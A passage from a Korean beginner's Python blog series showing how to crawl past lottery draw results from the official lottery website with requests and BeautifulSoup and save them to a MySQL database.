	cursor = db.cursor()

	sql = "SELECT MAX(count) FROM data"
	try:
	    cursor.execute(sql)
	    result = cursor.fetchone()
	except:
	    print(sys.exc_info()[0])

	db.close()

	return result[0]


def crawler(fromPos, toPos):

	for i in range(fromPos + 1, toPos + 1):
		
		crawler_url = basic_url + str(i)
		print("crawler: " + crawler_url)

		resp = requests.get(crawler_url)
		soup = BeautifulSoup(resp.text, "lxml")
		line = str(soup.find("meta", {"id" : "desc", "name" : "description"})['content'])

		begin = line.find("당첨번호")
		begin = line.find(" ", begin) + 1
		end = line.find(".", begin)
		numbers = line[begin:end]

		begin = line.find("총")
		begin = line.find(" ", begin) + 1
		end = line.find("명", begin)
		persons = line[begin:end]

		begin = line.find("당첨금액")
		begin = line.find(" ", begin) + 1
		end = line.find("원", begin)
		amount = line[begin:end]

		info = {}
		info["회차"] = i
		info["번호"] = numbers
		info["당첨자"] = persons
		info["금액"] = amount

		lotto_list.append(info)

def insert():
	db = MySQLdb.connect(host="localhost", user="lotto", passwd="lotto", db="lotto")
	cursor = db.cursor()

	for dic in lotto_list:
		count = dic["회차"]
		numbers = dic["번호"]
		persons = dic["당첨자"]
		amounts = dic["금액"]

		print("insert to database at " + str(count))

		numberlist = str(numbers).split(",")

		sql = "INSERT INTO `lotto`. `data`(`count`, `1`, `2`, `3`, `4`, `5`, `6`, `7`, `persion`, `amount`) " \
		      "VALUES('%d', '%d', '%d', '%d', '%d', '%d', '%d', '%d', '%d', '%s')" \
		      % (count,
		         int(numberlist[0]),
		         int(numberlist[1]),
		         int(numberlist[2]),
		         int(numberlist[3]),
		         int(numberlist[4]),
		         int(numberlist[5].split("+")[0]),
		         int(numberlist[5].split("+")[1]),
		         int(persons),
		         str(amounts))

		try:
		    cursor.execute(sql)
		    db.commit()
		except:
		    print(sys.exc_info()[0])
		    db.rollback()
		    break

	db.close()

def main():
	last = getLast()	
	dblast = checkLast()	

	if dblast < last:
		print("최신 회차는 " + str(last) + " 회 이며, 데이터베이스에는 " + str(dblast) + "회 까지 저장되어 있습니다.")
		print("업데이트를 시작합니다.")
		crawler(dblast, last)
		
	insert()
		
if __name__ == "__main__":
    main()


위 코드를 실행하면 아래와 같이 최신 회차만 크롤링 한 후 데이터베이스에 저장하는 것을 볼 수 있습니다.




전체 소스코드는 아래에 첨부하였습니다.

lotto.py




이것으로 이번 포스트를 마치도록 하겠습니다.


다음 포스트에서는 이렇게 저장된 데이터를 이용해서 로또 사이트에서 제공하는 것과 같이 데이터를 분석하는 방법을 알아보도록 하겠습니다.



읽어주셔서 감사합니다.



'개발' 카테고리의 다른 글

Commands out of sync 문제  (0) 2017.11.27
Develop Security Static Code Analyzer (1)  (0) 2017.05.15
따라하는 python 로또 분석(4)  (0) 2016.07.11
따라하는 python 로또 분석(3)  (0) 2016.07.04
따라하는 python 로또 분석 (1)  (0) 2016.06.21
개발


이 글은 python 초보자들을 대상으로 하는 로또 데이터 분석에 관련된 글입니다.


개인적으로는 c++이 제일 편하지만 python에는 라이브러리가 많아 프로그래밍 초보들도 쉽게 만들 수 있다는 장점이 있습니다.

c++로 구현하려면...어휴;;


자. 그럼 시작해 볼까요?


준비물: python 3.x

python 모듈 : requests



1. 로또 당첨 기록 가져오기


먼저 지난 당첨 기록들을 가져와야 합니다.

로또 당첨 기록들은 로또 공식 홈페이지(http://nlotto.co.kr/)에서 가져오도록 하겠습니다.


로또 공식 홈페이지에 접속해서 각 회차별 데이터를 가져오는 크롤러를 만들어야 합니다.

requests 라는 모듈을 쓰면 쉽게 인터넷에 있는 데이터를 가져올 수 있습니다.


아래는 코드입니다.

# lotto.py

import requests

def main():
	main_url = "https://www.nlotto.co.kr/"
	response = requests.get(main_url)
	print(response)

if __name__ == "__main__":
    main()


requests 모듈을 이용해 2줄로 데이터를 가져왔습니다.

참, python3는 기본 인코딩이 utf-8이기 때문에 별도의 utf-8 설정을 할 필요가 없습니다.


위의 코드를 실행하면 아래와 같이 200 response code가 출력됩니다.

http status code 200은 서버가 정상적으로 요청을 처리했음을 뜻하는 값입니다.




가져온 HTML 코드를 보려면 response.text를 출력하면 됩니다.

아래와 같이 코드를 수정해 봅시다.




# lotto.py

import requests

def main():
	main_url = "https://www.nlotto.co.kr/"
	response = requests.get(main_url)
	print(response.text)

if __name__ == "__main__":
    main()


위 코드를 실행한 결과는 아래와 같습니다.




이제 웹 사이트에서 HTML을 가져오는 것까지 되었으니 진짜로 지난 당첨기록들을 가져올 차례입니다.

어디가 좋을까 웹 사이트를 둘러보다가 아래와 같은 곳을 발견했습니다.



위 그림의 빨간 박스에서 보이듯이 지난 회차를 하나씩 조회해 볼 수 있는 버튼이 있습니다.

회차를 선택하고 버튼을 누르면 아래와 같이 회차만 변경되는 URL을 확인할 수 있습니다. 숫자만 변경하면 되겠죠?


http://nlotto.co.kr/lotto645Confirm.do?method=byWin&drwNo=707




위 URL에서 HTML을 긁어오는 코드로 변경해 보겠습니다.



# lotto.py

import requests

def main():
	basic_url = "https://www.nlotto.co.kr/lotto645Confirm.do?method=byWin&drwNo="
	for i in range(1, 707):
		resp = requests.get(basic_url + str(i))
		print(basic_url + str(i))
		print(resp)

if __name__ == "__main__":
    main()


1부터 707(현 시점에서 가장 최근 회차)까지 for루프를 돌면서 requests를 보내는 코드입니다.

이 코드를 실행하면 아래와 같이 출력됩니다.






2. HTML 파싱하기



이번에는 HTML을 파싱해서 필요한 데이터를 추출해 볼 차례입니다.


python 모듈 : BeautifulSoup4, lxml


BeautifulSoup4 - 가져온 HTML을 파싱하기 쉽도록 도와주는 라이브러리

lxml - BeautifulSoup에서 파싱할 때 xml 구조를 이용하도록 하기 위해 필요한 라이브러리.


pip3를 이용하여 위의 모듈들을 설치합니다.



먼저 HTML 코드를 파싱하도록 코드를 수정해 볼까요?

수정된 코드는 아래와 같습니다.



# lotto.py

import requests
from bs4 import BeautifulSoup

def main():
	basic_url = "https://www.nlotto.co.kr/lotto645Confirm.do?method=byWin&drwNo="
	for i in range(1, 707):
		resp = requests.get(basic_url + str(i))
		soup = BeautifulSoup(resp.text, "lxml")
		
if __name__ == "__main__":
    main()


이전 코드에서 한 줄만 추가하면 됩니다. 참 쉽죠?

xml 형태로 파싱된 response가 soup 변수에 저장됩니다.


지금부터는 soup 변수를 이용해 찾고자 하는 데이터를 쉽게 찾을 수 있습니다.

soup를 이용해서 HTML 소스에서 회차, 당첨 번호, 당첨 금액들을 추출해보도록 하겠습니다.


웹 브라우저의 소스보기를 이용해서 우리가 추출하고자 하는 데이터가 HTML의 소스 내 어디에 위치하는지, 어떻게 추출할 수 있는지 찾아봐야 합니다.


소스를 살펴보다 보니 아래 화면과 같은 곳이 눈에 뜨입니다.



id가 desc, name이 description인 <meta> 태그를 찾아서 content의 내용을 추출하면 될 것 같습니다.

BeautifulSoup를 이용해 해당 라인을 찾는 코드를 추가해 봅니다.

수정된 코드는 아래와 같습니다.



# lotto.py

import requests
from bs4 import BeautifulSoup

def main():
	basic_url = "https://www.nlotto.co.kr/lotto645Confirm.do?method=byWin&drwNo="
	for i in range(1, 707):
		resp = requests.get(basic_url + str(i))
		soup = BeautifulSoup(resp.text, "lxml")
		line = str(soup.find("meta", {"id" : "desc", "name" : "description"})['content'])
		print(line)
		break
		
if __name__ == "__main__":
    main()


위의 코드를 실행하면 아래와 같이 우리가 필요로 하는 데이터를 제대로 추출함을 볼 수 있습니다.




위의 라인을 적절히 파싱하면 당첨회차, 당첨 번호, 당첨 인원, 당첨금액으로 분리할 수 있습니다.

아래 코드를 보시죠.



# lotto.py

import requests
from bs4 import BeautifulSoup

def main():
	basic_url = "https://www.nlotto.co.kr/lotto645Confirm.do?method=byWin&drwNo="
	for i in range(1, 707):
		resp = requests.get(basic_url + str(i))
		soup = BeautifulSoup(resp.text, "lxml")
		line = str(soup.find("meta", {"id" : "desc", "name" : "description"})['content'])
		
		print("당첨회차: " + str(i))

		begin = line.find("당첨번호")
		begin = line.find(" ", begin) + 1
		end = line.find(".", begin)
		numbers = line[begin:end]
		print("당첨번호: " + numbers)

		begin = line.find("총")
		begin = line.find(" ", begin) + 1
		end = line.find("명", begin)
		persons = line[begin:end]
		print("당첨인원: " + persons)

		begin = line.find("당첨금액")
		begin = line.find(" ", begin) + 1
		end = line.find("원", begin)
		amount = line[begin:end]
		print("당첨금액: " + amount)

		break
		
if __name__ == "__main__":
    main()


위의 코드를 실행하면 아래의 결과를 얻을 수 있습니다.

제대로 추출했죠?





이번 포스팅은 여기까지 입니다.


다음 포스팅에서는 받아온 이렇게 추출한 데이터를 mysql에 저장해보도록 하겠습니다.


읽어주셔서 감사합니다.






'개발' 카테고리의 다른 글

Commands out of sync 문제  (0) 2017.11.27
Develop Security Static Code Analyzer (1)  (0) 2017.05.15
따라하는 python 로또 분석(4)  (0) 2016.07.11
따라하는 python 로또 분석(3)  (0) 2016.07.04
따라하는 python 로또 분석(2)  (0) 2016.06.28
1
블로그 이미지

Jest